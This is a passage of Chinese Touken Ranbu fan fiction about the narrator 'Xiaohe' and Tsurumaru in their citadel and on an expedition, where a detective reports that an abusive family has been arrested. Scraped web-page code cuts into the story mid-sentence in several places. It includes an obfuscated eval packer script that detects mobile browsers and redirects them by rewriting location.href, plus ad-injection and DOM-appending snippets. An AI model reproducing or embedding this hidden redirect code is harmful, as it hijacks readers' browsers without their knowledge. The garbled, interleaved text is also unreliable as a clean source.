为什么要这样说呢?过去“来晚”的人,分明是我。 “鹤丸国永”到伊达家太晚了,以至于根本没有同“烛台切光忠”见上面,虽然成为刀剑男士后出于各种原因与之相熟,那也都是之后的事了,并非“历史”。 我错过了你,你却没有“错过”我,而且,你也没有任何过错。 笨。 他们都这样,烛台切也这样,小光也这样,只会想些我这样的人才该思考的事,明明要我多考虑考虑自己,却因为我而痛苦。 如果无视我、放弃我、丢下我,就不会有任何人受伤了。 ——话是这样说,我也并不觉得这样有错,可是现在,我却没法说这种话了。 说出口的话会被鹤丸国永敲脑袋的,三日月也会投来不赞同的目光……贞和伽罗说不定也会生气,小光也一样。 我要保护大家,不让大家受伤,这是当然的事,不需要说出口,可大家也说,会陪在我身边。 小光说会拉住我的手,绝对不会消失,我想要相信他,我…… 我不想被丢下。 我闭上眼,口中的甜味已经彻底散去,可剩下的糖球仍然躺在口袋里,满满当当。 至少,至少此时此刻,就算蜜糖中藏着砒霜,我也不会后悔。 78.睡醒了?是的 醒过来的时候,小光已经不在我身边了。 虽然昨晚并没有熬夜,不存在睡眠不足,但我还是不知道什么时候就睡了过去,现在睁开眼睛,也只能通过腿上消失的重量明白另一个人的离开。 我用手掌揉了揉自己的脸指望更清醒一些,放下手时重又睁眼,才发现自己身上搭着两件一样的外套——想必鹤丸国永已经回来了。 难得只有我一个人,身边的空气也有些安静,我捏着不知道属于谁的外套上的毛球发呆,有光透过只开着一道小缝的窗撒进来,依然解不开房间的昏暗。 没有错过晚饭吧?我没有饥饿感,无法通过这个来判断时间,但没人来叫我,所以应该没有。 毕竟总是被大家监督着好好吃饭啊,至今为止一顿都没有落下过,还被零零散散投喂各种甜点零食,我不会长胖真是太好了。 “……” 啊,好安静。 虽然我总是说大家太过于操心我,我并不是不能一个人待着的幼童——可事到如今真让我一个人待着了,我也不知道该做什么。 这个本丸里没有需要我做的工作,【青】虽然坚持着某种“公平”或者说某种恶趣味,内番总是不顾谁擅长与否地排表轮转,目前为止却从来没有把我的名字写上去过。 日常的手合也并非必需的安排,而是某种课程指导……提升的方面与攻击力的加强无关,反而在进行在我看来属于“多余”的防御培养和意识转变,成果如何我不知道,但我姑且也努力了,鹤丸国永也没再因为这个生过我的气,大概算是合格……吧。 从前我一个人的时候倒是占多数,但我也很少自己给自己找事做……大概吧,以前也只是在不停走路和讲故事而已,陪同玩耍的一切都不是我主动,除了悄悄下了游戏和想要同“鹤丸国永”靠近而做的一系列准备,就没有什么了。 不能过多活动啊,否则没有摄入足够食粮的身体会自己罢工的,虽然不痛,却会有虚弱的感觉,我讨厌那样。 动不了的肢体,头脑发昏视野恍惚,不算尖锐却持久的耳鸣,全都让我讨厌,若是强撑着站起身来,会摔得很惨。 不痛,可是太过狼狈,不像鹤。 若是以前的我,在这种时候一定会想吧,没有被安排好的话,就等于“不被需要”之类的。 说起来确实有听说过呢,人如果午觉睡过了头在傍晚醒过来的话,会有“被世界抛弃了”的感觉。 但连我自己都感到惊讶的是,我除了空茫和依然未褪的些许困倦之外,那些会被打上多愁善感标签的情绪一个都没有出现。 是不是成长了呢? 我说的成长,并不是说我已经坚强到再也不怕寂寞这样做不到的事,而是不知从何时开始,有了“不会再寂寞”的认知。 不会再寂寞,不会被抛弃,不会是不被需要的废品或者可有可无的透明人,我成为了“能够相信”的一方……大概是这样吧。 我是个非常卑劣又软弱的人,也知道自己实际上最想说出的请求并非“请别爱我”,只是“别丢下我”这种话语太过奢侈,说出口的后果恐怕不是我所能承受——如愿以偿的自信,我可没有。 ……或许大家“不能放我一个人”的想法是正确的。 我就是很让他们放心不下啊,仔细一想,虽然我自己不在意、也有即便那样还是能够完成命令的决心,可无论是最常见的受伤生病还是因感觉迟钝导致的挨饿,哪怕付丧神的身体在【青】的灵力支撑下不会出现那种糟糕的状况,却依然不属于“可以接受”的范围。 我的胡思乱想在他们看来说不定比毒药还可怕吧?我认知中属于无所谓或者司空见惯的事,总会让他们难过。 我爱不了我自己,却被人爱着。 我依然不知道我自己到底有什么被爱的价值,可也不会再说那种自欺欺人的谎话了——自己也认同的话语也算谎话吗?我不太清楚,却也没有吞千根针的条件了。 我无法爱人,或者说,我不知道究竟怎样去爱才是正确的,我认知中有很多种“不正确”的爱,却无法从中提炼出真正的爱来。 我不知道爱人会有的结果是否都趋于美好,可被爱总不是件很坏的事,若被偏爱,想必也是一种幸运。 ……大概是胆子又大了吧,所谓的三天不打上房揭瓦?呵呵,其实只是仗着自己不会痛啦。 从前因为怕痛而连带着大家的爱意一起逃避的我,实在像是傻瓜,毕竟我已经失去那种感知了,到底在害怕什么呢? 所以,顺其自然地走下去,靠近在意的大家,不顾后果地伸出手,就算最后还是被丢下,反正我也不会痛了,所以没关系。 这种话说出去,还会不会惹大家生气?或许会吧。 但是,看在我努力了的份上……再让我贪心一点。 至少现在,别丢下我。 至少让我……把这颗糖含到再也没有一丝甜味,再让我走。 到了那个时候,哪怕永远都是一个人,我一定也不会害怕了。 “……” “小鹤?” 我眼睫一颤,循着声音抬起头来。 鹤丸国永站在我面前,一只手还保持着推门的动作,解释道:“我刚才敲过门,可是你没有回我……我还以为你已经出去了呢。” 敲过吗?或许是想事情想得太入神了,我完全没有听见。 鹤丸国永走进来蹲在我身旁,抬手摸了摸我的头:“睡醒了?快到晚餐时间了哦。” “嗯。”我下意识蹭了蹭他的手,双腿一动才反应过来自己还盖着他的外套,“衣服……” “啊,我回来的时候你和小光都睡得正香呢,还好没把你们吵醒……”鹤丸国永伸手去摸我的脚踝,“没有冷到吧?” “没有。”我把两件衣服揽到怀里,搭着鹤丸的肩站起来,“我睡得太死了,你回来也不知道,小光什么时候走的也不知道。” 到底为什么能睡这么死,我真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389733|124946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是短刀吗,这侦查没救了吧。 “能睡着也很不错啊。”鹤丸国永牵着我的手,拉着我一步步往餐厅走,“总比安不下心、睡不安稳的好吧?虽然我们并非人类,休息不好的话也会疲惫的。” 他在给我找理由这方面总是很擅长,而且我也无法反驳他,只能表示认同。 “今天没有给你带伴手礼呢。”鹤丸国永说,“没有找到……也不知道是真的没有了,还是存在漏网之鱼。” 这伴手礼指的是灵魂碎片,或许是觉得那样零碎的碎片每带回一点都进行一次融合太过麻烦,【青】和鹤丸国永都决定等收集得差不多了再还给我…… “是吗?”我摸了摸口袋,从小袋子里摸出颗糖球来塞到鹤丸国永嘴里——既然他没有拿伴手礼,那就我给他好了,虽然是借花献佛。 我对这件事实在不太上心,不属于【青】交给我的远征任务,鹤丸国永又不带我去,我很难过多关注。 而且,我是觉得,灵魂碎片全存在【青】那里别融回我身上说不定还比较好。 比起总是把这种或许还算重要的东西弄碎弄丢的我,那边简直无比安全……我是勉强拼凑好的廉价玻璃,装进了水也说不定什么时候就会全部漏光,【青】却会用珍贵又重要的容器去盛放,不肯接受哪怕一丝一毫的损失。 如果要让她安安心心的话,就那样当装饰品或者什么藏品一般收着,别用来填我无所谓的空缺更好吧? “唔。” 我捂住了头。 刚敲了我一个暴栗的鹤丸国永保持笑容:“又来了?” “我说出口了吗。”我为自己的放空而感到后悔,“我只是想想……” “想想也不行。”鹤丸国永又掐我的脸,“你自己也知道是空缺啊,那种空洞留着可没好处。” “我是觉得总让你断断续续地接收那些记忆不太好,每天都被感情和疼痛冲击一下这种事怎么想都很奇怪吧?又不是要养成什么习惯……所以才决定存下来之后一起的,并没有消极怠工的意思哦?”鹤丸国永说,“我都说了要多在意自己了吧?灵魂有未能填补的裂痕和空缺可是会影响你自己的健康的,万一就因为缺了那么一点点而出了问题,我会很难过的。” “这种惊吓,我可不要。” “呜。”我眨了眨眼,“嗷的,我知绕了……” 被掐住脸导致说出口的字句变得有些奇怪,但也不影响鹤丸国永听明白,他松开手指,又轻轻揉了揉刚刚掐过的地方:“光知道了不行,要记住哦?” 我乖乖点头:“好的……” 又走出几步,我突然想起来某件事。 “对了,鹤丸。”我轻轻捏了捏鹤丸国永的手,示意他听我说话,“姬君有同你说了吗?” “嗯?啊,你指的是那个的话……”鹤丸国永想了想,说,“远征的事,对吧?” 我:“嗯。” 时隔多日,我的工作、跨世界的远征,又要再开了。 79.新衣服?试试 “原来如此。” 烛台切光忠说,“今天主上把小鹤先生叫去,是说这件事啊。” “嗯。”我稍微扭了扭头,想让自己的脸朝向他那边,“姬君说也差不多到时候了。” 其实原话是:虽然才休息了这么点时间让她很不甘心,但果然留着灵魂裂隙太久更不好,所以差不多也该去进行再调查了,能早点完成碎片收集就好了…… “啊,别动啦。”拿着毛巾的鹤丸国永轻轻按了按我的头,“头发要好好擦干,不然会感冒的。” 刀剑付丧神会感冒吗?哦,之前他跟我说过,着凉受暑导致体内灵力紊乱的话会有生病的表现来着。 不过我从来没怎么在意过这类事情来着,能自然风干就自然风干,吹风机也好温暖干净的毛巾也罢,都跟我没什么关系。 我乖乖定住,感觉鹤丸国永的手隔着毛巾在我的发间轻按,又听见太鼓钟贞宗开口:“时间是明天吗?早上?下午?” “早上出发。”我说,“这次的远征时间比较长,没记错的话是……” “十二小时。”鹤丸国永接话,“早上九点出发,午餐和晚餐都不回来吃了呢。” “唉……”烛台切光忠想了想,道,“那我做一点小食放在厨房,如果你们回来时饿了的话,直接去拿就好。” “小光……你真好……”鹤丸国永露出了星星眼——我猜的,他放开毛巾双手合十,“这次我们也会带伴手礼回来的!你们有什么想法吗?比如之前的饮料之类的?” 你说哪个,□□乃乃好喝到咩噗炫彩飞天气泡茶吗?我记得太鼓钟贞宗倒是好像还挺喜欢那个的。 “确实稍微有点想学学看呢,奶茶的做法。”烛台切光忠笑着说,“学会了的话,下次茶会就能让小鹤先生带去当礼物了。” 饮料和点心都自带的话,茶屋收不收场地费啊。 “我的话,想看看那边的饰品!”太鼓钟贞宗说,“有没有很华丽的那种呢?和小鹤酱很搭配的那种!” 我觉得没有,说到底华丽这个词就跟我沾不上边吧。 我把毛巾从头上轻轻扯下来握在手里,还没说什么,一旁便伸出一只手把毛巾拿了过去。 这个色系……嗯,是大俱利伽罗。 大俱利伽罗把毛巾折好,放到旁边的篮子里,我眨了眨眼,开口:“伽罗呢?” 大俱利伽罗:“嗯?” “有什么想要的吗?”我姑且也还能分清那里的哪个店是卖什么的,只要别是想要刀枪棍棒这种很刑的东西,应该都能找到地方买。 ……嗯,如果他真想要的话,买个不开刃的或者玩具枪应该也行。 许久都没得到回应,在我快要以为这次也是“没兴趣”或者“无所谓”时,大俱利伽罗开口了:“烟花。” “哦?”鹤丸国永挑了挑眉,手臂从后往前交叉环住我,下巴轻轻抵在了我发顶,说出了我想说的话,“小伽罗,想看烟花啦?” “……”大俱利伽罗沉默。 “嘛,毕竟已经是夏天了。”烛台切光忠说,“花火夺还作战……似乎也快到了吧?去年就是这几天呢。” “烟花……”我想了想,说,“似乎有很多种类吧?伽罗想要哪种?” 有烟花售卖许可的店我确实有印象,其实之前同鹤丸去过的那家便利店也有卖一点线香烟花和摔炮什么的,不知道伽罗喜欢哪种。 大俱利伽罗还是沉默。 “那就全都买来试试好了。”鹤丸国永拍板决定,“等会儿我去问问长谷部和一期,正好姬君前几日还说等时间差不多了,就找个日子去海边玩……” “海边?”我捕捉到关键词,“远吗?” “还好,不算远。”太鼓钟贞宗兴致勃勃,“就在本丸空间内哦?很——大的一片海呢。” 我想象不出来。 “嘛,之后去了就知道是什么样了。”鹤丸国永蹭了蹭我的发顶,“小鹤你不是很好奇的吗?海呀沙滩呀什么的,到时候还可以去抓海鲜哦,小光做海鲜也好吃!” ……想象不出来,但是最后一句话我可以无脑认同。 “那就这样!”我后背一轻,鹤丸国永迫不及待地站起身就往外走,“我先去找长谷部和一期说一声、顺便问问三日月他们有什么想要的!” 已经变成采购大会了吗,我要再感叹一遍,2205年有空间储存技术真是帮大忙了。 不过,比起最开始的时候,大家倒是都放松了很多……毕竟也去过这么几次了,有鹤丸在我身边的话就没问题,那边的世界也确实还算安全,因为隔着时间与空间,新奇的事物很多,在确认了这些之后,会对那些东西有兴趣也很正常。 我倒不会觉得这样不严肃或者怎么样的,不如说就这样轻轻松松地对待更好,左右不是和他们紧密相关的问题,别为此紧张不安才是正确的。 不过,我也得想想,除了烟花之外再给伽罗带点什么…… “小鹤酱,这个就是我们给你买的——这是什么?”太鼓钟贞宗自告奋勇说要帮我拿新的耳钉过来,却在打开柜子时看到了什么,问道,“新衣服?” 【青】给我买的衣服他们都看过,会有这种反应的话,应该是…… “是原来本丸的同伴给我的。”虽然我对他们的称呼不同,但这种时候要是说的话就会有点奇怪,“太鼓钟买的东西在贞手上”什么的,虽然有点对不起他们,但为了不混淆,就含糊省略过去吧,“三日月说是衣服……什么样的我不太清楚,拿回来之后就放在那里了。” “哎——”太鼓钟贞宗稍微拖长了声音,不知道想了什么,拿着东西回到我身边,“小鹤酱要不要试试?” “……可以吗?”我犹豫了一下,“我穿着可能不太好看。” 因为是烛台切和太鼓钟一起去选的款式和配色,之前也说了,我和“华丽”这个词完全不搭…… “有什么不可以的!衣服拿来就是要穿的!”太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就算有镜子,我也看不见自己现在究竟是个什么样,这套衣装并不是为了出阵或者活动制作,更偏向于日常,裤子依然是短裤,似乎恰好被上衣遮到露出一条边……尺寸非常合适,衣料也选用得相当舒适,一点线头或者毛边都没有,外套依然保有兜帽,对我非常友好。 没想到的是,第一个给出评价的居然是大俱利伽罗:“很好看。” “没错,非常帅气!”烛台切光忠紧随其后,“小鹤先生很适合这种风格呢,得在下次衣装制作之前和姬君说才行……” 啊?我柜子里的衣服已经够多了,还要再加吗? “‘不够放的话就买更大的柜子’——主上是这样说的。”太鼓钟贞宗笑着说,“嗯嗯,看来‘我’的眼光一如既往地很好嘛,夸奖一下!” 我茫然地鼓了鼓掌。 烛台切光忠凑近了看,针对耳坠的设计和衣服上其他元素的搭配发表了相当多我完全听不太懂的意见,太鼓钟贞宗一脸感同身受,从我口中得到对新耳饰“喜欢”的评价后更是高兴,两个人已经发散到准备从买布开始从头设计并且自己制作衣装……怎么发散到这儿的啊? 大俱利伽罗并不参与讨论,他抬手摸了摸我的头,在我看向他时动作稍顿,又摸了摸。 结果直到换回睡衣准备睡觉,我也还是不清楚我穿这套衣服到底是好还是坏。 80.下雨吗?下了 鹤丸国永热爱惊吓,喜欢出人预料的事,我虽说已经被连续不断以至于完全无法招架的“惊吓”弄到无法再对此期待,却也并不讨厌。 ……话是这么说,这次远征刚开始,就遇到惊吓了呢。 我同鹤丸国永一起站在屋檐下,盯着汇集成细流往下坠落的雨。 “好大的雨啊。”鹤丸国永发出感叹,“还好今天让你穿的是这套衣服。” 考虑到这边世界的季节变化,即便我认为没什么关系,但在【青】以及鹤丸他们的眼中我都不属于“身体强健”的行列,所以哪怕有厚厚的外套,也不可以穿着原来的短袖短裤出门,取而代之的就是身上的这套冬装。 是【青】给我准备的,毛衣有一点点大了,稍微低头往上一拉就可以把下巴和嘴唇藏进领口,衣袖折上一道也还是盖过手掌……又或许这个款式本来就是这样的?因为其他地方都很合身。 鹤丸国永穿的应该和我是同款,只是颜色上有微妙的不同,外套上別着一个很彩的胸针,据说是为了冬天下雪能及时找到他……我摸了摸自己的白鹤胸针,觉得我应该没有这种风险。 ……啊,不对,我也是白发金瞳,而不是墨染一般难看的黑色了。 我并不是讨厌黑色,只是讨厌我自己身上的黑色,不管怎么想都很脏很难看,让人喜欢不起来。 ……又想远了。 反正即便被埋进了雪中,鹤丸国永也会找到我吧。 冷倒是不冷的,大雪天被关在门外也不是没有过,其实在雪中躺久了也就好了,还会感觉到热,然后就什么感觉都没有了……啊,难道那种灼热,其实是“痛”? 本丸里会下雪吗?若是会的话,到时候再试试好了。 说起来,我还没在本丸里看到过下雨。 是【青】特意控制的么?至少我来到本丸之后,天气一直都很好,虽然偶有多云不见太阳,也不会冷。 “小鹤。”大抵是见我又盯着落雨发呆,鹤丸国永开口问道,“你讨厌下雨吗?” “说不上吧。”我想了想,道,“只是下雨的话,视野会更差……行动也会更困难。” 又看不见,又冷,特别是在冬天,被雨淋湿的感觉并不有趣,有的台阶又很滑……摔上一跤的话虽然感觉不到痛,要站起来也还得缓一会儿。 而且,如果下雨时没能在锁门前回去的话,会更难熬。 但是雨本身是没有错的,所以我说不上讨厌。 “这样啊。”鹤丸国永轻轻捏了捏我微湿的发,似乎有些懊恼,“难办了,我忘记带伞出来,不知道会下到什么时候……就算这附近有旅店,淋着雨过去也实在是……” 我倒是无所谓,但是他着凉的话可不行。 我这样想着,将衣袖往上揽了揽,随后向雨幕中伸出了手。 嗯,已经变成细雨了,这种的话…… “很快会停的。”我对鹤丸国永说,“不过过会儿或许还会下……” “那样的话还好,我们趁雨停去买把伞,或者去什么店里躲躲。”鹤丸国永拉住我的手腕,用自己带着的手帕擦了擦我小臂上落到的雨,又帮我把衣袖放了下来,“这也是‘记忆’告诉你的么?” 每个地方的季节特点不一样,若是对雨的特质不熟悉的话,就下不了这种定论。 “……”对于鹤丸国永的问题,我稍微顿了一顿,才给出回答,“也可以这样说。” 不属于灵魂碎片带给我的“被失去”的记忆,但“■■”亲身实践记住的东西,用这种说法也不算错。 不过,鹤丸国永他自己也看过碎片中的记忆,我不认为他会忘记同调时看到过的东西,也不会不知道那些记忆中其实并不包含这边世界雨的类型的分辨方法。 ……既然他不点明,我就没有解释的必要,吧。 并不是我非常想要隐瞒这件事的意思,如今的我已经补全了大部分记忆,也知道自己的情况不能完全按“冒牌货”来算,虽说“鹤丸国永”的身份认知对我来说仍然有些困难,却并不代表作为“■■”的日子才是唯一可以承认的真实。 只是……不是什么好故事。 “鹤丸国永”并不喜欢会令人不舒服的惊吓,我偶尔会说一些笑话的初衷也只是为了活跃一下气氛,但那些明显并不有趣的故事,想来没有分享的必要。 “不知道这附近哪里有商店。”鹤丸国永滑动着终端的屏幕,确定所在之处,“这次远征的时间比较长,还得找地方过夜……” “对了,小鹤。” “?”我接过他递来的东西,眨了眨眼。 “好奇怪,这个没有声音了,似乎联系不上姬君。”鹤丸国永说,“你试试看?或许是世界壁垒对我新增了限制也说不定。” 唔,其实我大概知道原因。 我戴上耳机,毫不意外地听见【青】的话语被丝丝电流声替代,想来这边的声音也传不过去。 ……这也是没办法的,我对鹤丸国永摇了摇头表示我这里也一样,便干脆暂时关了耳机的开关。 鹤丸国永也觉得省下电量过会儿再打开更好,摸了摸我的头,继续翻着地图。 “……”果然听不到啊。 我不觉得现在的落雨声大到可以遮蔽附近某家店传出的游戏广告播放音,但鹤丸国永对广告的内容没有丝毫反应,甚至都没有嫌吵。 然而对我过于灵敏的听力来说,“刀剑乱舞”的音效和词语,实在是鲜明到难以忽略。 我本以为只有【青】听不到,没想到哪怕套上了“我”的壳子、被世界识别为“小鹤”的鹤丸国永也是这样……那相关的其他东西会不会也看不到呢?我不想实验,万一能看到的话,可能会有其他糟糕的影响。 话说回来,这边其实很少会放刀剑乱舞相关的视频广告,毕竟也算个陈年老游戏了,热度上来说虽然不到凉凉的地步,和其他类型的大热游戏相比还是很难争的,根据我的了解,难道说是…… 在我进行或许并不必要的担忧时,雨停了。 鹤丸国永已经找好了路线,在重新牵住我的手时皱了皱眉,似乎不满于接触到的温度,用手心变着角度地暖着我冰凉的手指。 他先去买了一把很大的伞,又买了罐装的年糕小豆汤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 给我暖手暖身子……虽说比不上小光做的,但是味道也不错。 坐在便利店的椅子上,我等着正对着关东煮挑挑选选的鹤丸国永,突然听见了玻璃窗被叩响的声音。 我转过头,某人的脸贴在便利店的玻璃上,微微变形——但离得够近,我姑且能够认出人来。 侦探先生似乎试图玩在玻璃窗上哈气写字的游戏,我眨了眨眼,张口:“我看不清。” 侦探先生愣了一下,直起身,隔着玻璃轻轻碰了碰我的眼睛。 “……”我看见某个白色的身形悄无声息地闪到对方身后,默默数数。 三、二、一…… “呜哇哦啊啊啊啊啊!!!” 只是往侦探先生肩上搭了只手的鹤丸国永笑嘻嘻:“不错的反应嘛——哎呀,吓到了吗?抱歉、抱歉。” 鹤丸国永扯着心都差点跳出来的侦探先生回到我身边,把临时放在柜台上的关东煮放到我面前。 “呀,又见面了。”鹤丸国永弯着眼笑,“很巧呢。” “是、是啊。”侦探先生抚了抚胸口,倒没有生气的意思,“好久不见。” 也没有很久吧?按这边世界的时间算的话……三个月? 啊,对于人类来说,兴许已经够久了。 察觉到侦探先生似乎想开启话题,又纠结着什么,鹤丸国永开口:“你找小鹤有事吗?” “啊,不……算不上。”侦探先生说,“只是我运气好,刚好路过就看见了他,想着打个招呼……得感谢这场雨啊,不然我也不会往这边走。” “原来如此。”鹤丸国永递了一串丸子给我,说,“我们可是被这场雨困了一会儿呢。” “啊,淋了雨吗?”侦探先生的目光在我身上停滞,似乎想到了什么,语气有些焦急,“你们这次也是来旅游的?酒店订得远么?我开了车过来可以送你们回去……” “还没订呢。”鹤丸国永说,“其实我们也是刚到,还好找到了躲雨的地方,衣服也没有湿透……你有推荐的酒店吗?” “实际上,不太好推荐。”侦探先生似乎有些忧愁,“这附近好点的酒店都没有空房了……”他又看了我一下,“我还以为你们是过来参加那个活动的,就那个漫展。” 我微微垂眸。 嗯,我就知道,如果不是有漫展的话,那附近是不会放广告的。 “漫展?”鹤丸国永对这个词语不太熟悉,却也没表现出来,问道,“没有关注呢,什么时候?” “日期好像是后天吧……”侦探先生说,“总之酒店很难订了,除了那些很贵的地方就只剩下很偏的,都不太合适……” 鹤丸国永:“资金方面倒是没关系,拜托你推荐一下啦。” 侦探先生同鹤丸国永聊得还行,我小口喝着热乎乎的红豆汤,即便我知道每个酒店的地址和名字,内里却并不清楚,帮不上忙。 “——对了。”侦探先生的目光再次投向我,这次却不再那般复杂,而是带着几分喜悦。 他说:“你知道吗,小鹤?” 他说:“那家人——被逮捕了哦。” 81.真相吗?是的 逮捕……? 即便侦探先生没有将主语指明,我也知道他说的是“哪家人”,可要我说,在听到这个消息后有什么心情的话…… 好像,只有茫然和奇妙的平静,而欣喜和爽快什么的……完全不存在。 鹤丸国永明明没有“妈妈”相关的记忆,却大概还对于我的第一次远征遇到的“弟弟”耿耿于怀,此刻并未表现出任何疑惑,似乎也对所谓的“那家人”了如指掌,只是露出几分感兴趣的表情:“哦?怎么回事?” 我也有些好奇,因为要说的话,我的“死”的确应该算是意外?就算查到了“弟弟”身上,那孩子还未成年,应当也不至于到能让大人也被逮捕的地步? “其实最终的结论只是和‘意外杀人’沾边……说到底还是意外。”侦探先生解释说,“我找了好多次,才有机会和那家的儿子说上话,他倒是不像他父亲那样难搞,不如说,只是提到一个开头,他就说出了大半。” 啊,因为“弟弟”似乎并不清楚我死去的事……虽然“父亲”不让他和其他人提起我的事,大概也禁止他和其他人接触,可依照上次见面时那种生龙活虎的样子,现在又没人依他的意陪他玩了,对他来说简直是从出生起就没遇到过的境况,这时候遇到一个过来同他说起我的事的人,想必会大倒苦水吧…… 但是,那孩子很聪明,应该不会说他推我下楼之类的事才对? 侦探先生说:“那个时候还有其他人在场。” 嗯?这我倒是不知道了……那个房子里聘请的佣人都很听“父亲”的话,不怎么同我碰面,本身我也不是什么应该被服侍的人,再加上他们应付不来“弟弟”的无理要求,平时也很少和我交流,那天“弟弟”追着我出来,他们应该也不在旁边……啊,不对。 我姑且也算个人,虽然很快就变成了死人……不,正因为我变成了死人,才会有其他人在意吧。 不像往常的“管教”和“玩耍”,无论真相是“意外”还是“谋杀”,横在他们眼前的都是货真价实的“死亡”,这比我本身要值得关注,就像我之前说的那样,这不是在古代的战场,一个有社会身份的人死了,是会有别人在意的。 而当意外发生、平生未见的死亡出现在他们面前时,恐惧也好震惊也罢,他们会下意识想要知道发生了什么……就我那个后脑勺着地的死法,不难想象他们会看见的场景。 ……吓到他们了,真不好意思啊,我不是故意的。 “这方面倒是出乎预料的顺利……只要钱给够,愿意作证的人总是有的。”侦探先生露出了带着些幸灾乐祸的表情,“大家的怨气似乎都有些大啊,帮大忙了。” 唔,我死了以后负责陪“弟弟”玩的就只有他们了,但“弟弟”可不会因为玩伴换人就收敛性子,再加上他认为我的消失是“逃跑”,会发多大的脾气可以想见……而佣人们说到底只是雇佣关系,钱给得再多也不可能到足够他们为此卖命的地步……和我不同,他们不需要“爱”着那些人,用血肉和灵魂去支付作为家人这个资格的代价……他们若是受了伤受了委屈,总是能抽身逃离的。 而且……怎么说呢。 虽然这样说可能有些过分,但和熊孩子待在一起与和杀人犯待在一起,总是不一样的。 “父亲”很少会更换佣人,他自己大概也知道“妈妈”对我所做的一切都并不光彩,担心时常更换佣人会让他们把一些不利于自己的消息传出去……但也正因如此,目前还待在房子里的佣人,知道得过多了。 多到哪怕“谋杀”无法成立,“虐待”却板上钉钉。 无止境无理由的殴打、辱骂,囚禁与精神控制,禁水禁食……按照佣人们的证言中所说的严重程度,任何一条拿出来都已经接近“杀人未遂”。 “唉——这样啊。”鹤丸国永听着侦探先生说话,看着对方越说越生气的样子,眸中情感复杂难明,“真的是,做得太过分了。” 鹤丸国永的声音还算平静,牵住我的那只手却微微收紧,我没有转头去看他,也知道他在生气——这种情况下,他总是比我要更有情绪。 侦探先生的视线一直时不时飘向我,大概是在观察我的反应……不知是出于什么目的,我想他早就把我的死而复生丢出了需要唯物看待的范畴,所以或许就只是很单纯地想要关注我的情况,担心他单纯的事实陈述会让我不适。 “……不过,其实就算是以虐待罪判刑,也不会多久。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 侦探先生似乎有些遗憾,“至少不会久到让受害人释怀。” 还好,我的话……从一开始就没感觉。 虽然依照他们的要求去“爱”了,可是我当真不会爱人,因为没有理由,于是同样也没有去恨。 “但是!”侦探先生又振奋起来……真有活力,“但是,对于那家人、特别是那对夫妻来说,最重要的不是这个。” “哪怕最后只是很轻的判罚,但事实不会改变。”侦探先生说,“舆论,对于这种把地位和面子看得比人命还重的家伙,才是最可怕的。” 啊,确实,闹出这种事来,媒体的报道和警方公示不会少,再加上我总是在外面走,这座城市没见过我的人才是少数……言语也是可以杀人的,我再清楚不过。 “听起来还不错嘛。”鹤丸国永说,“——对了,我不太了解这方面的事,既然成年人被逮捕的话,那家的孩子会怎么样呢?” “一般来说是先联系其他亲属……如果行不通的话,会送去相关福利机构或者收容所。”侦探先生顿了顿,道,“你……你和他没亲戚关系吧?” “不可能有呢。”鹤丸国永笑容灿烂到可怕,“我和小鹤才是一家。” 侦探先生松了口气:“那就好……我没别的意思,只是万一被缠上的话会很麻烦的。” 侦探先生心情很好,却不只是因为那对夫妻被逮捕……他要的真相,本也不是那些过去。 “判定上……虽然让我说这话不太好,也很奇怪,但是很遗憾的,其中并没有过多的曲折。”侦探先生看向我,目光温柔,“但是唯独知道了一件事,其他人可能觉得没什么意思,我却觉得只要得到了这个真相,就很值得了。” “不是不小心或者粗心大意这种理由,也没有那样狼狈……那是从很久以前就很温柔、又很善良的孩子。”侦探先生说,“他是为了救人才会死去的。” ……不是什么难以管教的孩子,不是什么见不得台面的坏孩子,不是愚钝没用又蠢又笨的废物。 是为了救人才会死去的,那颗心是为了拯救他人的生命,才停止了跳动。 那样好的孩子,死去了。 死去的是……那样好的一个孩子啊。 82.大碎片?拿到了 听侦探先生说完了所有的话,我们买的关东煮也吃到了最后一个。 “——已经这个时间了。”侦探先生站起身,心情依然很好,“你们选好酒店了吗?要不要我带你们过去?” “选好了。”鹤丸国永道,“方便的话就拜托你了。” 我有些意外地抬眸看他——要知道鹤丸国永对侦探先生的态度一直都不冷不热,我还以为他不会想再同对方过多接触……是侦探先生做的什么事让他稍微改变了想法吗。 侦探先生既然说了那样的话,就不会在这时候给出“不太方便”的回答,他先一步起身,在鹤丸国永牵着我往外走时用手挡住了桌角。 “这家?这家剩下的房间是最贵的……”迎着鹤丸国永完全不觉得有什么问题的目光,侦探先生默默把剩下的感叹咽了回去,“不过离这里挺近,五分钟左右就到了……我的车也在那边。” 我对各个酒店内部的情况并不了解,就算鹤丸找我商量我也说不出个所以然来。 “既然如此那就挑这个好了”——一边这样说着一边选定了住处,不知道哪个最好那就干脆挑最贵的,鹤丸国永过去好歹也是在各个世家名门手中流转,最终更是作为皇室御物被收藏,做出这种去住一晚抵一些人半个月工资的酒店的选择也是轻飘飘又十分淡然的,反正也不缺钱。 如果只有我自己的话,随便找个能挡雨的地方待到天亮,或者干脆熬夜通宵寻找碎片更合算,但既然是鹤丸同我在一起,就绝对不能这样了。 ……我倒也不觉得这个选择不妥,之前也说过这边的货币与2205年能用的货币价值并不相等,这样昂贵的酒店对于【青】来说大概也就一个幸运福袋的价格,想必她不会生气。 生气的话,把我衣服上的金链子拿去当了,应该也能抵上……吧? 想着些乱七八糟的事,我突然被鹤丸国永按住了额头。 “……?” “小鹤。”鹤丸国永的语气有些无奈,“要撞到杆子了哦。” 